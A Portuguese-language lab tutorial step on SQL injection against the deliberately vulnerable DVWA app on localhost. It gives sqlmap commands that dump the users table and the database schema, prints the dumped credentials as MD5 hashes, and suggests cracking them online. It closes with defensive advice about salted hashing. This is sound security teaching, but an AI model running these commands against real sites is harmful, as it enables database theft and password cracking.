Analisar os Dados Recuperados
Nesta etapa, examinaremos as informações confidenciais do banco de dados que o sqlmap extraiu com sucesso por meio da injeção SQL. Isso demonstra o impacto real das vulnerabilidades de injeção SQL, mostrando exatamente quais dados os invasores podem acessar.
- Primeiro, vamos recuperar todos os dados da tabela 'users' no banco de dados DVWA. Este comando se baseia no que fizemos anteriormente, mas agora estamos visando especificamente a tabela users para ver informações de credenciais (substitua pelo seu cookie de sessão):
sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" -D dvwa -T users --dump --batch
O -D dvwa especifica o banco de dados, -T users visa a tabela users e --dump recupera todo o seu conteúdo.
- A saída revela informações confidenciais do usuário armazenadas no banco de dados:
Database: dvwa
Table: users
[5 entries]
+---------+------------+-----------+---------+----------------------------------+-----------+------------+---------------------+
| user_id | first_name | last_name | user | password | avatar | last_login | failed_login |
+---------+------------+-----------+---------+----------------------------------+-----------+------------+---------------------+
| 1 | admin | admin | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | admin.jpg | NULL | 0 |
| 2 | Gordon | Brown | gordonb | e99a18c428cb38d5f260853678922e03 | gordonb.jpg | NULL | 0 |
| 3 | Hack | Me | 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b | 1337.jpg | NULL | 0 |
| 4 | Pablo | Picasso | pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 | pablo.jpg | NULL | 0 |
| 5 | Bob | Smith | smithy | 5f4dcc3b5aa765d61d8327deb882cf99 | smithy.jpg | NULL | 0 |
+---------+------------+-----------+---------+----------------------------------+-----------+------------+---------------------+
Observe que a coluna password contém hashes MD5 em vez de senhas em texto simples. Embora isso seja melhor do que armazenar senhas brutas, o MD5 é considerado criptograficamente quebrado e vulnerável a ataques de tabela arco-íris.
-
Você pode tentar quebrar esses hashes usando ferramentas online como CrackStation, copiando e colando os valores de hash. Isso mostra como algoritmos de hash fracos podem ser revertidos para revelar senhas originais.
-
Para entender a estrutura completa do banco de dados, podemos recuperar seu esquema:
sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" -D dvwa --schema --batch
A flag --schema revela todas as tabelas e suas estruturas de coluna, dando aos invasores um roteiro de todo o banco de dados. Esta é uma informação extremamente valiosa para exploração posterior.
Principais conclusões para iniciantes:
- O parâmetro
--dump extrai todos os dados de uma tabela especificada
- Os hashes MD5 geralmente podem ser quebrados usando tabelas arco-íris pré-computadas
- As informações do esquema do banco de dados ajudam os invasores a entender a estrutura dos dados
- Este exercício demonstra como uma única vulnerabilidade de injeção SQL pode levar ao comprometimento completo do banco de dados
- Sempre use algoritmos de hash fortes e com sal, como bcrypt, para armazenamento de senhas